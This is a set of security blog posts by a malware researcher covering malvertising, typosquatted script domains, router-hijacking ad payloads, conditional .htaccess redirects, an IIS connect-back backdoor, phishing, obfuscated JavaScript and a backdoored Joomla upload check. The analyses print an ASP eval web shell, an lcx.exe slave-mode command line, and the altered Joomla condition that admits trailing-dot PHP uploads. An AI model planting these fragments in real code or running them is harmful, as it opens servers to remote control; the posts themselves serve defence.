Fio is the Lead Malware Researcher and a member of the SucuriLabs group. He loves to home brew a good ale between malware investigations. You can find him on Twitter: @fiocavallari. (Spoiler Alert: Tweets about beer and InfoSec jokes most of the time).

Malvertising on a Website Without Ads

When you first configure your website, whether it be WordPress, Joomla, Drupal, or any other flavor of the month, it is often in its purest state. Unless ofcourse the server was previously compromised, which in it of itself is another conversation outright. Barring that one instance, the new website should not exhibit any malicious behavior. Or so you would think.

It’s rare though that a default theme will satisfy your every need, it’s often has just enough to wet your beak and get you thinking of ways to extend functionality. So we set off to extend and leverage all the features our favorite CMS offer us.

Watering Down Core Security

The next steps are to add on, to extend. New themes, plugins, sliders, animated gifs, music… no, wait, that’s too 1990’s. Let’s focus on themes, plugins, templates and various other extensions found in today’s modern CMS applications.

Often, the first thing you have in mind when choosing anything for your website is functionality and aesthetics, right? We all want something that looks great and improves user experience. It may be a really cool theme or the newest social network plugin; it’s not a common practice however to inspect its behavior.

What if one of the add-ons you installed is injecting hidden ads on your site? Or what if they are loading pop-up windows like this one?

HD Video Player Advertisement

Malicious Fake Flash Download

This is exactly what a client recently experienced. After installing a clean install of their CMS, configuring and extending it with a new theme, their website started to present it’s users with a Flash installer. For those wondering, this is fairly common, and is something known as a Drive-by-Download. More on that another time though.

Following The Trail

As is natural for us in the research group we can’t help but get lost in cookie trails, every crumbs proves to be more fascinating than that last.

While investigating, it became apparent that the Flash installer was being loaded via an ad, an ad that was being served via an ad network. Immediately I’m thinking malvertising, right?

In this case, the owner hadn’t configured advertising though and yet it was loading content from an ad network.

For your reference, here’s the HTTP Request showing the ad was being loaded by the infected website.

HTTP Headers of the Malvertising Campaign

HTTP Headers of the Malvertising Campaign

While investigating the code I couldn’t find any reference to the domain in either the theme or plugin files. Again, the website owner confirmed that he was not using any ad networks. So that left us no choice but to dig a little deeper, we started to investigate the HTTP traffic.

While intercepting the sites Requests and Responses I came across the following entry:

Sucuri - AdCash

Sucuri – AdCash

It’s a request to hxxp:// that returned a 302 Redirect to Yes, success!!! All right! We are one step closer to the source, I was probably looking for the wrong URL in the source code. Duh… Address noted, let’s keep checking the HTTP traffic.

Checking the HTTP responses for that IP address I found this:

URL Variable in HTTP Headers

URL Variable in HTTP Headers

There it is, the hit counter JavaScript code was loading the ad, as you can see the URL in the uri84 variable. It is making a request here: This request was causing the popup, but was only being triggered once per visitor and the content looks random, suspicious and, more importantly, unwanted.

Adware or Malvertising?

Turns out that the client did in fact add the counter script to their themes footer, so it didn’t come prepackaged. They were trying to keep track of their visitors, they had no intentions of their site being used to serve ads though.

So being that the source of the counter was I decided to spend some time familiarizing myself with what they do. I spent some time reading through their End User License Agreement (EULA), you never know what goodness you agree too.

Unfortunately, no luck, nothing related to terms or privacy on the website. So I contacted their support to see if this type of behavior was expected.

Based on their response, I’d argue it probably wasn’t:


I turn off popup on your account


This is the message I received from support. There are obviously a number of things with that response that worry me, but now the clients website is clean. Whether intentional or not, it’s hard to say, but I’d likely categorize it as a compromised ad network and a malvertising attack.

Personally, I’d stop using this counter script. It’s obviously very 1990 for one, but more importantly if the solution is to disable ads for this site, but not address the bigger issue of drive by downloads being used via the service, that is very concerning. We’ve written about the dangers third-party scripts and service introduce to your environment, this is another example of that.


It is really hard to keep an online service, and even harder if you are doing this for free, so it is understandable that a service uses the adware model to maintain itself. However, it must disclose this to it’s users and offer them an option to opt out. To do it and not offer a user this options is wrong, and as website owners you must be more diligent.

Always check the terms, EULA and privacy policies of third-party software you are using on your website. If they don’t have them, that’s probably a good sign not to use them. Look for any suspicious terms before agreeing to them. If you need help, or you suspect that a plugin or theme is behaving maliciously, let us know.

We love looking through code and potential issues…:) Hit us up at Happy hunting!!

Typos Can have a Bigger Impact Than Expected

Have you ever thought about the cost of a typo? You know what I mean, a simple misspelling of a word somewhere on your website. Do you think there’s a risk in that?

You may have seen the Grammar Police all over your comments yelling that you used the wrong version of “your” and pointing out how stupid you are, right? Unfortunately, that’s the internet. But what if you have misspelled something that your readers can’t see right away?

Gogle API

What if your typo was in some third-party JavaScript? For example, instead of ? There’s a chance that the domain doesn’t exist and the website just breaks, forcing you to spend some time debugging it to find the wrong include. No big deal. But there is a more dangerous possibility here. The domain could be registered and serving malware to those websites.

Luckily enough the owner of, Robin Bradshaw, reached out to us with his findings. He posted on Twitter in response to a recent post of ours about the dangers of hosting third-party scripts. Bradshaw told us that he bought the domain because he was bored and wanted to check if those typos were an issue. He got some interesting data.

It is impressive how many hits it has been receiving since February:

Graphs show 70K views per month

Monthly visits to the misspelled

Most traffic is coming from Brazilian IP addresses, which is getting there thorough an NGO website. They were contacted to fix this typo, but they never replied. Still waiting for the fix. All the other websites seem to be fixing their code quickly.

Brazil is largest by far, followed by Italy and US

Breakdown of countries using the typos script

Since Bradshaw is such a great guy, not only he did take the typo away from the hands of a person with malicious intentions, but he’s also serving a valid working copy of the ga.js file. Could you imagine how harmful it would be if someone else had gotten a hold of this domain? Someone could easily add to that ga.js file and serve malware or injected malicious SEO.

Typo Squatting

We have looked at one of the possible typos, but what about others?

Of course other people have already thought about using this technique as a way to distribute malware. In this case, the idea is not to register the domain and wait for someone to mistakenly write the URL incorrectly, but rather to deceive the user when they are investigating malicious or suspicious code on their website.

I was able to find a similarly misspelled URL: googleaspis(dot)com. The content is not malicious right now, but it is not serving the right script and it is redirecting the user to a different website.

HTTP headsers of Redirects to another domain

Googleaspis(dot)com Redirects

A quick check on GitHub revealed one repository with a link to this website. Interestingly, the file name was index_malware.html. The website owner probably wasn’t able to find the malware there and recreated the whole index file, but it’s just speculation.

Github shows typo in index_malware.html

Github shows typo in index_malware.html

There are other typo domains hosted on the same server, like: facebookapis(dot)com, facebboklogin(dot)com, fgoogleapis(dot)com, oogleapis(dot)com and many others.


During my checks I didn’t find any malicious code being hosted by misspelled domains, but that doesn’t mean that there aren’t any. I checked more than 200 variations of Google’s domains used to host scripts for statistics and styles, and all the sites which answered were parked domains. The most suspicious behavior is the one I shared in this post. It does provide for some interesting food for thought though.

Remember to check and double-check all the external content you add to your site. Make sure it’s from a reliable source and that it is typed correctly. The price of a single misspelled character on a domain can be really high.

Malvertising Payload Targets Home Routers

A few weeks ago we wrote about compromised websites being used to attack your web routers at home by changing DNS settings. In that scenario the attackers embedded iFrames to do the heavy lifting, the short fall with this method is they require a website to inject the iFrame. As is often the case, tactics change, and while home routers still seem to be of interest, the latest tactic seems to take the conquer one, conquer all idiom very seriously by targeting ad networks in a concept known as malvertising.

Malvertisements or malvertising are a malicious variety of online advertisements generally used to spread malware. – Kaspersky

This definition is a bit dated, but you get the point. It’s the act of an attacker making use of of what could be a good or bad advertisement on a website, they key these days is the exploitation of what are known as ad servers. Where website integrate a third party ad service to show appropriate ads based on the users visiting and the information the ad network has on the user. It’s a much more complex scenario, but hopefully you get the point.

In this scenario, the attacker is leveraging an ad, part of a large ad network, and embedding their router focused payload within the body of the ad. The ad was being hosted on network.

What to Look For

We were notified of suspicious activity by a attentive client that noticed several log in boxes opening while browsing his own website. If you recall, this was the same behavior that led us to the original discovery. He identified malicious ad, hattip for that kind sir, and sent us the link. This naturally gave us what we needed to start analyzing what it was doing.

I was able to capture the URLs it accessed:

Sucuri - Malvertising - URL's

Sucuri – Malvertising – URL’s

The malicious code was heavily encoded and injected in the ad body. This is what the raw payload looked like:

Sucuri - Malvertising - Raw Ad Payload

Sucuri – Malvertising – Raw Ad Payload

After sanitizing the code I was able to catch the decoding function that will translate all the noise.

Sucuri - Malvertising - Breaking Down the Noise

Sucuri – Malvertising – Breaking Down the Noise

Decoding the malicious content, I went through 2,716 blank characters before I found something malicious. It’s hard to tell if this was intentional to evade detection, but the code is there, and it is trying to change your home routers DNS settings and force a reboot.

This time they issue a command to remotely reboot it to make sure the DNS cache is flushed and the malicious site is loaded.

The second improvement is a counter. Unfortunately, during testing was disabled.


It appears to be configuring a server in LA as an DNS server, which seems to be working fine; during our tests it didn’t return any malicious addresses. All resolved IP addresses were correct, which means it’s probably waiting for the go-live.

The second DNS server set is Google’s, which means they probably had only one compromised server this time. We’ll continue to update as more information becomes available.

Website Malware – Curious .htaccess Conditional Redirect Case

I really enjoy when I see different types of conditional redirects on compromised sites. They are really hard to detect and always lead to interesting investigations. Take a look at this last one we identified:

Website Malware - Curious HTACCESS Payload

The curious aspect about it is the usage of a not so common .htaccess feature: variables. Most conditional injections rely only on the user agent (browser) or referer of the visitor, but this one also leveraged the TIME_SEC and VWM variables:

RewriteRule .* - [E=cNL:%{TIME_SEC}]
RewriteRule .* - []

It’s attributing the TIME_SEC (the “seconds” part of current time) to the cNL variable and the payload to VWM. It causes the malware to redirect the visitor to a different page, depending on the time of the day.

For example, if it is 9:00:01 (ending in the “01” second), it will redirect the visitor to a specific campaign ID (7522). If it is 9:00:02 (ending in the “02” second), it will redirect to a different campaign ID, and so on until it reaches all 60 seconds.

And when you mix that with all other conditions that this .htaccess malware has:

  1. It checks if the referer came from Google, Facebook, Twitter and a few other popular sites.
  2. It checks if the operating system is a Mac, Windows, iPhone, iPad, iPod or Android
  3. It checks if the cookie cNL is not set (to prevent displaying the malware more than once to the same person.
  4. It checks the time of the request to build a custom URL depending on the second.

It becomes very hard to be detected and even hard to get all malicious URL’s identified.

Very sneaky…

Conditional Malicious iFrame Targeting WordPress Web Sites

We have an email, where we receive multiple questions a day about various forms of malware. One of the most common questions happen when our Free Security Scanner, SiteCheck, detects a spam injection or a hidden iframe and the user is unable to locate the infection in the source code. It’s not until we explain what Conditional Malware is that they start to understand it’s implications and more importantly how it works. If you’re unfamiliar, conditional malware is very common these days, as the name implies it’s based on a set number of conditions that determine whether a payload (i.e., the malware) presents itself to the browser. It’s employed because it’s easier to evade scanners and reduces the odds of detection by spreading the impact.

Read More

Website Security – Compromised Website Used To Hack Home Routers

What if we told you that a compromised website has the ability to hack your home router?

Yesterday we were notified that a popular newspaper in Brazil ( was hacked and loading several iFrames. These iFrames were trying to change the DNS configuration on the victim’s DSL router by Brute Forcing the admin credentials.

Sucuri - Politica NewsPaper Twitter Notification

Sucuri – Politica NewsPaper Twitter Notification

As you can see in the image, the payload was trying the user admin, root, gvt and a few other usernames, all using the router default passwords. Hours after being notified the website was still compromised, so we decided to dig a little deeper.

Below is the payload chain:

Read More

Microsoft IIS Web Server – CMD Process Contributing to Website Reinfections

We often spend a lot of time talking about application level malware, but from time to time we do like to dabble in the ever so interesting web server infections as well. It is one of those things that comes with the job. Today, we’re going to chat about an interesting reinfection case in which the client was running their website on a Microsoft’s Internet Information Services (IIS) web server. Yes, contrary to popular belief many organizations, especially large enterprise organizations, still leverage and operate IIS web servers.

And for those that thought we only dabble in Linux Apache MySql PHP (LAMP) stacks, well now you know.. :)

As is often the case, when we think of the how and the what attackers are set out to do once they penetrate our web server we stop short of the final step – maintaining control of the environment. This is perhaps the most critical, especially today where ownership of a slave box can fetch a great sum of money in the underground.

Sucuri - Anatomy of an Website Attack

Sucuri – Anatomy of Website Attack

These slave machines can be used to reinfect website by bypassing existing access controls, can add web servers to networks of other slave machines (otherwise known as zombie networks or botnets), can be used for Brute Force and Denial of Service attacks and a number of other nefarious acts. This is why when we talk about infections you will often refer to it as only 10% of the problem. Often, what you see, albeit bad and annoying, is usually not the real problem, it’s but a symptom of a bigger infection.

Such was this case..

The Windows Server

If we take a step back in time, you might recall early 2013 – we refer to that as the period where web servers compromises were taking over. We were writing extensively on the latest Darkleech, Cdork and Ebury incidents. I am not going to lie, as a researcher, this was a very exciting time for me and my team. Finally, attackers were showing a level of sophistication worthy of some in-depth analysis.

Needless to say, we didn’t spend much time on Windows Servers, IIS web servers, it’s not to say that they too were not being affected, but the impact just wasn’t as great. This should be a surprise though as IIS has been steadily losing market share with website owners over the past few years. That however does not mean it’s no longer utilized, it is. This case is an example of that.

In this case, we were faced with a challenging server issue where every site on the web server would get reinfected with spam, backdoors and other malware as quickly as it was cleaned. Yes, very very annoying…

The Hunt Begins

Our first instinct was that the server was suffering from cross-contamination and compromised FTP credentials. From this point, we knew we needed the client to do a full FTP credential reset to control the reinfections, but when they did, the reinfections just started up again like nothing had been done. What was happening here?

We restarted our investigation and began to fish for answers.

We suspected that either a vulnerable upload script or a compromised admin area credential had allowed the cross-contamination to restart and was causing the problem. However, as we dove deeper into the logs, the client messaged us to tell us that he had found and killed the suspicious process fixing the issue. Case closed, right?

Well, no. It wouldn’t make a very good explanatory blog post if that was it….

Within hours, the reinfections came back with a vengence. Fortunately for the client, we were still analyzing the logs when it returned, you see when it’s something interesting we have a bad case of OCD where we want to better understand what happened. In general, we love it when we’re surprised by complexities within malware and are interested in learning as much as we can about the offending code. Contrary to popular belief, we’re not perfect.

In the analysis we decided to take a peak at the offending processor. We had to better understand what it was doing.

Sucuri - Windows IIS Malicious Processor - LCX EXE

Sucuri – Windows IIS Malicious Processor – LCX EXE

As you can see with the Process Explorer screenshot above, an IIS process (w3wp.exe) started a Command shell (cmd.exe), which was used to start the lcx.exe process. Based on the command line option, it seemed like this process was connecting back to the server. A quick search of the IP turned up numerous complaints across the interwebs about it’s use in bot networks and as the originating node of DDoS attacks.

Naturally this was a red flag and worthy of further sleuthing. As we continued to look into the process, more and more of the picture began to unfold before us and we started to see where we needed to look for more information (note: all identifying client data has been removed):

Sucuri - Windows IIS Malicious Processor - CMD EXE

Sucuri – Windows IIS Malicious Processor – CMD EXE

To start, the command line and current directory were key to finding the backdoor used to start and maintain access to the server as well as where the files were located so we could remove them. If you’re curious, the full command line was:

"C:\RECYCLER\cmd.exe" /c "cd /d "D:\Inetpub\Users\infectedwebsite\wwwroot\scripts\"&C:\RECYCLER\\lcx.exe -slave 1113 3389&echo [S]&cd&echo [E]"

After reviewing all of the files inside the script directory, we found this piece of code spread out inside of an asp file:

<% Dim ConKey:ConKey="700" Dim InValue:InValue=Request(ConKey) eval(InValue) %>

That’s simple enough, right? The injected file wouldn’t be any better. After checking the access logs, it became clear that it received several valid POST requests throughout the day, making it harder to identify any single suspicious entry.

Let’s go back to the lcx.exe process for a second. The client had an AntiVirus running and we downloaded a couple extra stand-alone scanners to check for suspicious files to make sure that they were all coming up clean. We also leveraged VirusTotal and this is what they confirmed.

Sucuri - Winwos IIS Malicious Processor - VirusTotal Confirmation

Sucuri – Winwos IIS Malicious Processor – VirusTotal Confirmation

For you astute reader, you probably caught my mention earlier of the processor being stopped, yet the server being reinfected. If you did, then you’re likely asking yourself, “Hold up Fio, if they stopped it, yet they were still reinfected, how was it the processor leading to the reinfection?”

I’m so glad you asked..

You see, once you identify the infection you have to take it to the next step and understand the order of events. In this scenario, the key was to first kill the process, then remove the backdoors. Doing it in reverse would lead you into an endless circle. Stopping the processor, but leaving the backdoors would allow the attacker to regain entry and reinfect the server. Leaving the processor and removing the backdoor would just reinfect the server with more backdoors.

Once it was cleared in the right order, like magic, the reinfections stopped. Thank goodness I would say!!!

Understanding the Attack

After checking these files against our database, we can see that the file is the HUC Packet Transmit Tool V1.00, which is a Chinese connect-back backdoor also known as HTran. It was listed as a Advanced Persistent Threat (APT), but since it was easy to get rid of once detected I don’t necessarily believe in its persistence. :)

The malware was configured on slave mode (it can be set to listen, transmit packages or connect-back) and it allowed the attacker to have full access to the infected server.

Sucuri - Windows IIS Malicious Processor - CMD EXE Options

Sucuri – Windows IIS Malicious Processor – CMD EXE Options

There are two main takeaways here.

First, it’s important to remember that attackers make more money when they have more websites and web servers infected so they will always be trying to find ways into your site.

Second, it’s always easier to attack the attackers when we work together so, if you’re facing a malware or reinfection issue and you can’t figure out how to clean your site or web server, contact us.

Phishing Tale: An Analysis of an Email Phishing Scam

Phishing scams are always bad news, and in light of the Google Drive scam that made the rounds again last week, we thought we’d tell the story of some spam that was delivered into my own inbox because even security researchers, with well though-out email block rules, still get SPAM in our inboxes from time to time.

Here’s where the story begins:

Today, among all the spam that I get in my inbox, one phishing email somehow made its way through all of my block rules.

Spam email in our security team's inbox

Even our security team gets SPAM from time to time.

I decided to look into it a little further. Of course, I wanted to know whether or not we were already blocking the phishing page, but I also wanted to investigate further and see if I could figure out where it came from. Was it from a compromised site or a trojanized computer?

The investigation started with the mail headers (identifying addresses have been changed, mostly to protect my email ☺):


The headers tell us that is being used to send the spam. It’s also an alert that some of the sites in this shared server are likely vulnerable to the form: X-Mailer: PHPMailer [version 1.73]. I decided to look into the server and found that it contained quite a few problems. This server hosts about twenty sites, some of which are outdated–WordPress 2.9.2 is the oldest–while others are disclosing outdated web server versions (Outdated Web Server Apache Found: Apache/2.2.22) and still others are blacklisted ( This makes it pretty difficult to tell where the spam came from, right?

Luckily, there’s another header to help us, Message-ID:. is hosted on and it has an open contact form. I used it to send a test message and although the headers are similar, the PHPMailer differs:


What Do We Know Now?

We know who is sending the phishing messages, but what host are they coming from? There are some clues in the message body:


From that image, we can see that is hosting the image and the link to the phishing scam, but it doesn’t end there. As you can see from the content below, we’ll be served a redirect to, which loads an iframe hosted on

Here is the content:
Phishing email

Problem Solved. Or is It?

In this case, there are three compromised sites being used to deliver the phishing campaign and it’s becoming very common to see this strategy adopted. The problem, from the bad guy’s point of view, is that if they store all of their campaign components on one site, then they lose all of their work when we come in and clean the website. If they split the components up and place them on multiple sites, with different site owners, then it’s unlikely that all of the sites will be cleaned at one time, which means their scam can continue.

As always with malware, it’s not enough for your site to be clean. You also need to rely on everyone else to keep their own site clean. When others don’t, your computer or website can be put at risk.

If you’re interested in technical notes regarding the type of research we do be sure to follow us on Twitter and be sure to check in with our Lab Notes. If you something interesting you’d like us analyze please don’t hesitate to ping us, we’re always looking for a new challenge.

Analyzing a Malicious iFrame – Following the Eval Trail

Over the last week, we’ve been working with some interesting malware injections. Developers and malware prevention professionals usually think of hidden iframes that deliver spam-seo or other malware as easy to spot. Take this injection, for example (Thanks to Sucuri team member, Rafael C., for the sample):

Sucuri - JS Infection II

This is not a traditional iframe src=’http://… code, but you can see where the bad code lives in the example above. This is a problem for the creators of this malware because if an infection is easily detectable then it’s a relatively straightforward process to write a script to detect and clean it up. That’s why the next step for the malware creator is to hide or obfuscate the injection.

Spotting Obfuscated Code

Using JavaScript, there are several ways to obfuscate malicious code like CharCode or URLEncode. In general, obfuscated malware looks like the example below, but of course, the techniques can be more or less advanced. Our team tends to like writing about the more complicated events:

Sucuri - JS Injection Sample

At first glance, this code looks like a CSS related script, i.e. part of your site’s visual architecture, which you don’t want to touch because it could break your site’s look and feel. This, of course, is exactly what the malware creator wants you to think.

Is it Malware?

The tricky thing here is that this function is actually creating a CSS rule. Were we wrong to think that it’s malicious?

last_style_node.addRule(selector, declaration);

What we need to do to find out is look at the content of the rule. To do that, we look for the function call.

createCSS('#va', 'background:url(data:,String.fromCharCode)');

The code is defining the background image for the #va selector. When you look closely you can see that String.fromCharCode is not a valid URL. Remember, malware creators need to figure out how to hide their code injections. In this scenario, storing the functions it needs inside a CSS style is ingenious.

Now that we know where the malware lives, we can find out how it is recovering those strings:

Sucuri - JS Infection III

Putting It All Together

In the code above, we see that the vkk variable is used as the fromCharCode function and uu variable contains a va string. At this moment, this doesn’t make sense, but it starts to come together as we keep moving through some lines of code.

Sucuri - JS Infection IV

It’s important to the hacker that nothing is stored in plain sight (if it was, it’d be much easier to clean). In this instance, take the t variable as an example; it contains the number 2. In this case, this value is attributed by subtracting 2 from the number of seconds of a date stored in the knr variable. That’s pretty complex, right?

This t variable is used to multiply all entries of the xt array*

*Some of the content of this variable has been removed to shorten the post. It doesn’t affect the code’s logic.

Next, there is an empty function called g, which is attributed to hhhu variable, and within these parameters the uu is being used to create the function. By concatenating the e, va(the content of uu) and l we end up with, eval! Now we’re finding some malware.

Then, another chain of variables, hhhu, is now attributed to ac with a different function–the one inside the variable ry, which, previously, we saw contains String.fromCharCode. Now it’s eval’ing String.fromCharCode for CharCodes that are stored in the xt variable.

Finally, after all this, it calls the eval again–the hhhu–but now to execute the code inside dwms variable, which was decoded using the for loop from before.

Dissecting Malware is A Full Time Job

That was an illustration of one payload. It’s just one data point that articulates the sort of complex obfuscation we deal with on a daily basis and, we can say without reservation, as we continue to find new ways to detect it more easily, malware creators will find ways to make their obfuscation more and more complex. If you’re having trouble with malware or blacklisting, take a look at the symptoms of malware and ask us to help.

Do you have samples you’d like us to analyze? Feel free to engage us on Twitter at SucuriLabs or feel free to send us an email at

Highly Effective Joomla Backdoor with Small Profile

It feels like every day we’re finding gems, or what appear to be gems to us. We try to balance the use of the term, but I can’t lie, these are truly gems. The things they are doing, and by they I mean the attackers, are in some instance ingenious. I think you’ll agree that this case falls into that category.

In short, this is a highly effective backdoor that carries little profile, making it Hight Speed Low Drag.

Understanding Attackers

As we’ve discussed in the past, most attackers have a pretty standard workflow when compromising websites. Here’s that process in it’s simplest form:

  1. Identify point of entry / weakness
  2. Exploit the entry / weakness
  3. Ensure that they can retain access
  4. Cover your tracks

I agree, nothing earth shattering, but it does help us understand what it is we need to be looking for.

Many will make the argument that a site is not clear if you haven’t performed some level of forensics to understand what happened. Often this same analysis will lend itself to items 3 and 4 in the list. Reverse engineering their attempts to clean up their traces and finding those backdoors, diamonds in the ruff.

Unfortunately, this level of forensics is not for everyone and contrary to popular belief it’s not as simple as looking for simple obfuscation. No, these days the backdoors are becoming highly sophisticated, making use of built-in functions and carry little trace of what you might consider to be traditional backdoors.

What many also don’t realize is how important the third step is. If done correctly, the attacker is able to bypass all your access control mechanisms, i.e., logins like administrator and FTP, and work right off your server with little hesitation.

This post is an example of that, for instance take into consideration these two images:

Image #1


Image #2


Can you pinpoint the difference or the backdoor? Is there a backdoor?

Joomla Specific Backdoor

The images above are an example of what we recently found and the purpose of this post.

Yes, I agree, it’s unfair for us to ask you to pinpoint the difference in the images; besides, the total change is no greater than 304 bytes.

But for those keen eyes, you probably noticed the difference in the if-clause, here specifically:

if (!in_array($format, $allowable) && !in_array($format,$ignored))

Versus this:

if ($format == '' || $format == false || (!in_array($format, $allowable) && !in_array($format,$ignored)))

For those that are completely lost, it all comes down to how the $format variable is created. For that we have to look here:

$format = strtolower(JFile::getExt($file['name']));

This tell us that the variable is getting the file’s extension using a Joomla native function called getExt. This function does this:

function getExt($file) {
$chunks = explode('.', $file);
$chunksCount = count($chunks) - 1;

if($chunksCount > 0) {
return $chunks[$chunksCount];

return false;

This in turn breaks the file name into pieces based on the positions of the dot, returning false if there are not dots. If everything is ok it returns the latest group after the last dot, i.e., the extension.

This is where the canUpload function will check if the extension is part of the allowed ones or not. This goes back to the very first if clause shared above.

In the second set, you see two additional conditions, if $format is false or if it’s empty. That’s then followed by another .OR. operator just before checking if the extension is allowed.

In these cases, if the extension is empty or if it’s false or allowed, the file can be uploaded. This and nothing is the same thing, right?

Wow, that one hurt my head too, sorry.. but hang in there.

In order to make the $format false, or empty, the attacker would need to add a trailing dot to the end of the file, like backdoor.php.. But it’s not that simple, the upload alone won’t make it useable.

That brings you to the next obvious question, “Fio, if it’s not usable why the heck did you take us down riddle man?” Glad you asked…

First, because I probably had one too many beers while writing this.

Second, it comes down to this code:

function makeSafe($file) {
// Remove any trailing dots, as those aren't ever valid file names.
$file = rtrim($file, '.');
$regex = array('#(\.){2,}#', '#[^A-Za-z0-9\.\_\- ]#', '#^\.#');
return preg_replace($regex, '', $file);

I mean seriously, have you ever seen code in better shape than this? The lines, the logic, even the commenting..

// Remove any trailing dots, as those aren’t ever valid file names.

And you have to appreciate the irony in the function name, makeSafe. Make safe a backdoor that is going to do anything but make your website safe.

Here is the kicker, for those that didn’t catch it, this is a valid function inside ./libraries/joomla/filesystem/file.php, a core file of Joomla. This function, by design, cleans out all odd characters from a filename and returns a safe filename. Sound familiar? Remember that trailing dot? Pretty sure that’s unsafe, Joomla core agrees with us, as such it does what it’s supposed to do, makes a previously unsafe file, safe. Ain’t that something?

Perfect example of a feature that gets abused for bad when it was designed for good.

The Ever Evolving Landscape

I chose to share this little gem with the world because it talks volumes to the evolution in the attacks that we’re seeing. The website security market has turned into a gold rush as of late, but with that growth we have seen new innovation in the way attackers are 1) attacking websites and 2) how they’re retaining control of those same websites.

This is forcing us to really look deep into the various detection and remediation technologies to better understand how to prevent scenarios like the one described in this post.

This attack specifically is not something a signature would have ever picked up, it’s tightly integrated and dependent on what most would categorize as “good” code, and by good I mean it’s part of core and designed to do a good thing. Now extend this line of thinking, think beyond core.

If attackers are starting to look at how “good” code functions and finding ways to manipulate its use, what is to stop them from extending that thought process to code found in your templates, themes, extensions, plugins? This is a real problem that extends far beyond Joomla and will soon plague other CMS applications, if they are not already.

If you have something to add or share on the post, use the comments we’d love to get your hear from you.

If you find yourself in a similar situation, suffering repeated attacks or infections be sure to contact us. Whether you’re infected and need to be cleared, or prefer not to have to deal with this at all, we have a complete security solution to keep your website clean and safe.